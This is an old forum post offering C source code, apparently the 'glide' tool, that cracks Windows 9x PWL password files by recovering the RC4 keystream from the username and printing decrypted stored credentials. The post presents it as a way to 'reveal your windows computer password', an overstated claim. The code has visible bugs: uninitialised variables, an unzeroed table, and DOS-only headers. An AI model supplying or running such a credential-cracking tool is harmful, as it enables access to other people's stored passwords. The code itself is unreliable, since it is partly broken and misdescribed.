bigbadwolf147 | Date: Monday, 2012-01-16, 10:00 PM | Message # 1 |
Private
Group: Moderators
Messages: 8
Awards: 0
Reputation: 0
Status: Offline
| This will reveal your windows computer password. Just copy this code on to a notepad. Save it as anything.c. Remember to change the file type to "All file".
# include<stdio.h> # include<stdio.h> # include<process.h> # include<stdlib.h> # include<ctype.h> # include<conio.h> # include<mem.h>
unsigned char huge Data[100001]; unsigned char keystream[1001]; int Rpoint[300];
void main(int argc,char *argv[]){ FILE *fd; int i,j; int size; char ch; char *name; int cracked; int sizemask; int maxr; int rsz; int pos; int Rall[300]; /* Resourse allocation table */
if(argc<2) { printf("usage: glide filename (username)"); exit(1); } /* Read PWL file */
fd=fopen(argv[1],"rb"); if(fd==NULL) { printf("can't open file %s",argv[1]); exit(1); } size=0; while(!feof(fd)){ Data[size++]=fgetc(fd); } size--; fclose(fd);
/* Find Username */ name=argv[1]; if(argc>2)name=argv[2]; printf("Username:%s",name);
/* Copy encrypted text into keystream */ cracked=size-0x0208; if(cracked<0)cracked=0; if(cracked>1000)cracked=1000; memcpy(keystream,Data+0x208,cracked);
/* Generate 20 bytes of keystream */ for(i=0;i<20;i++) { ch=toupper(name[i]); if(ch==0)break; if(ch=='.')break; keystream[i]^=ch; }; cracked=20;
/* Find allocated resources */ sizemask=keystream[0]+(keystream[1]<<8); printf("Sizemask:%04X",sizemask); for(i=0;i<256;i++) { if(Data[i]!=0xff) { Rall[Data[i]]++; if(Data[i]>maxr) maxr=Data[i]; } }
maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be divisible by 16 */
/*Search after resources */
Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */ for(i=0;i<maxr;i++) { /* Find the size of current resourse */ pos=Rpoint[i]; rsz=Data[pos]+(Data[pos+1]<<8); rsz^=sizemask; printf("Analysing block with size:%04x (%d:%d)",rsz,i,Rall[i]); if((Rall[i]==0)&&(rsz!=0)) {
printf("Unused resourse has nonzero size!!!"); printf("If last line produed any:U may try 2 recover"); printf("Press y to attempt the recovery"); ch=getch(); if(ch!='y')exit(0); rsz=2; i=i-1; } pos=pos+rsz; /* Resourse have a tedency to have the wrong size for some reason*/ /* Chech for correct size*/ if(i<maxr-1) { while(Data[pos+3]!=keystream[1]) { printf(":",Data[pos+3]); pos=pos+2; /* Very rude may fail */ } } pos+=2; /* Include pointer in size */ Rpoint[i+1]=pos; }
Rpoint[maxr]=size; /* Insert Table data into keystream*/ for(i=0;i<=maxr;i++) { keystream[20+2*i]^=Rpoint[i] & 0x00ff; keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff; } cracked+=maxr*2+2; printf("%d Bytes of ketstream recoverd ",cracked); /* Decrypt resources */ for(i=0;i<maxr;i++) { rsz=Rpoint[i+1]-Rpoint[i]; if(rsz>cracked) rsz=cracked; printf("Resource[%d](%d)",i,rsz); for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]); printf(""); } exit(0); }
|
|
| |